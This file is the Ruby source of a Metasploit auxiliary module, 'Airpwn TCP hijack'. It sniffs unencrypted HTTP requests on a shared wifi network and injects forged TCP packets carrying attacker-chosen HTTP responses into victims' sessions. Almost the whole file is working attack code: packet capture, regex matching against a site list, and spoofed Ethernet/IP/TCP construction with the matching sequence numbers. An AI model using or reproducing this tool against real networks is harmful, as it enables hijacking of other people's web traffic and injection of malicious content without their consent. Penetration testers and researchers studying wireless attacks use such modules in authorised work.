##
# $Id: airpwn.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'yaml'
require 'racket'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Lorcon2
	include Msf::Auxiliary::Report

	def initialize
		super(
			'Name'        => 'Airpwn TCP hijack',
			'Version'     => '$Revision: 10394 $',
			'Description'    => %q{
				TCP streams are 'protected' only in so much as the sequence
			number is not guessable.

			Wifi is shared media.

			Got your nose.

			Responses which do not begin with Header: Value assumed to be
			HTML only and will have Header:Value data prepended.  Responses
			which do not include a Content-Length header will have one generated.
			},
			'Author'      => ['toast', 'dragorn', 'ddz', 'hdm'],
			'License'     => MSF_LICENSE,
			'Actions'     =>
				[
					[ 'Airpwn' ]
				],
			'PassiveActions' =>
				[
					'Capture'
				],
			'DefaultAction'  => 'Airpwn'
		)

		register_options(
			[
				OptPath.new('SITELIST',	  [ false, "YAML file of URL/Replacement pairs for GET replacement",
						File.join(Msf::Config.install_root, "data", "exploits", "wifi", "airpwn", "sitelist.yml")
					]),
				OptBool.new('USESITEFILE', [ true, "Use site list file for match/response", "false"]),
				OptString.new('FILTER',	  [ true, "Default BPF filter", "port 80"]),
				OptString.new('MATCH',	  [ true, "Default request match", "GET ([^ ?]+) HTTP" ]),
				OptString.new('RESPONSE',  [ true, "Default response", "Airpwn" ]),
			], self.class)
	end

	def run

		@sitelist = datastore['SITELIST']
		@regex    = datastore['MATCH']
		@response = datastore['RESPONSE']
		@filter	  = datastore['FILTER']
		@useyaml  = datastore['USESITEFILE']

		@http = []

		if @useyaml then
			begin
			@http = YAML::load_file(@sitelist)

			rescue ::Exception => e
				print_error "AIRPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}"
			end
		else
			@http[0] = { "regex" => [@regex], "response" => @response }
		end

		@run = true

		print_status "AIRPWN: Parsing responses and defining headers"

		# Prep the responses
		@http.each do |r|
			if not r["response"] then
				if not r["file"] then
					print_error "AIRPWN: Missing 'response' or 'file' in yaml config"
					r["txresponse"] = ""
				else
					r["txresponse"] = ""
					begin
					File.open(r["file"], "rb") do |io|
						r["txresponse"] += io.read(4096)
					end
					rescue EOFError
					rescue ::Exception => e
						print_error("AIRPWN: failed to parse response file " \
							"#{r['file']}, #{e.class} #{e} #{e.backtrace}")
					end
				end
			else
				if r["file"] then
					print_error "AIRPWN: Both 'response' and 'file' in yaml config, " \
								"defaulting to 'response'"
				end

				r["txresponse"] = r["response"]
			end

			# If we have headers
			if r["txresponse"].scan(/[^:?]+: .+\n/m).size > 0
			#  But not a content-length
				if r["txresponse"].scan(/^Content-Length: /).size == 0
					# Figure out the length and add it
					loc = (/\n\n/m =~ r["txresponse"])
					if loc == nil
						print_status "AIRPWN: Response packet looks like HTTP headers but can't find end of headers.  Will inject as-is."
					else
						print_status "AIRPWN: Response packet looks like HTTP headers but has no Content-Length, adding one."
						r["txresponse"].insert(loc, "\r\nContent-Length: " + (r["response"].length - loc).to_s)
					end
				end
			else
			# We have no headers, generate a response
				print_status "AIRPWN: Response packet has no HTTP headers, creating some."
				r["txresponse"].insert(0, "HTTP/1.1 200 OK\r\nDate: %s\r\nServer: Apache\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: %d\r\n\r\n" % [Time.now, @response.size])
			end
		end

		print_status "Opening wifi module."
		open_wifi

		self.wifi.filter = @filter if (@filter != "")
		each_packet do |pkt|

			d3 = pkt.dot3

			next if not d3

			eth = Racket::L2::Ethernet.new(d3)
			next if eth.ethertype != 0x0800

			ip = Racket::L3::IPv4.new(eth.payload)
			next if ip.protocol != 6

			tcp = Racket::L4::TCP.new(ip.payload)

			@http.each do |r|
				hit = nil
				r['regex'].each do |reg|
					hit = tcp.payload.scan(/#{reg}/) || nil
					break if hit.size != 0
				end
				next if hit.size.zero?

				print_status("AIRPWN: %s -> %s HTTP GET [%s] TCP SEQ %u" % [ip.src_ip, ip.dst_ip, $1, tcp.seq])

				injpkt = Lorcon::Packet.new()
				injpkt.bssid = pkt.bssid

				response = Racket::Racket.new
				response.l2 = Racket::L2::Ethernet.new("01234567890123")
				response.l2.dst_mac = eth.src_mac
				response.l2.src_mac = eth.dst_mac
				response.l2.ethertype = 0x0800

				response.l3 = Racket::L3::IPv4.new
				response.l3.src_ip = ip.dst_ip
				response.l3.dst_ip = ip.src_ip
				response.l3.protocol = ip.protocol
				response.l3.ttl = ip.ttl

				response.l4 = Racket::L4::TCP.new
				response.l4.src_port = tcp.dst_port
				response.l4.dst_port = tcp.src_port
				response.l4.window = tcp.window

				response.l4.seq = tcp.ack
				response.l4.ack = tcp.seq + ip.payload.size - (tcp.offset * 4)

				response.l4.flag_ack = 1
				response.l4.flag_psh = 1

				response.l5 = Racket::L5::RawL5.new
				response.l5.payload = r["txresponse"]

				response.l4.fix!(response.l3.src_ip, response.l3.dst_ip, '')

				injpkt.dot3 = response.pack

				case pkt.direction
				when ::Lorcon::Packet::LORCON_FROM_DS
					injpkt.direction = Lorcon::Packet::LORCON_TO_DS
				when ::Lorcon::Packet::LORCON_TO_DS
					injpkt.direction = Lorcon::Packet::LORCON_FROM_DS
				else
					injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS
				end

				self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error)

				response.l4.seq = response.l4.seq + response.l5.payload.size
				response.l4.flag_ack = 1
				response.l4.flag_psh = 0
				response.l4.flag_fin = 1
				response.l4.payload = ""
				response.l4.fix!(response.l3.src_ip, response.l3.dst_ip, "")

				injpkt.dot3 = response.pack
				self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error)
			end
		end

	end

end
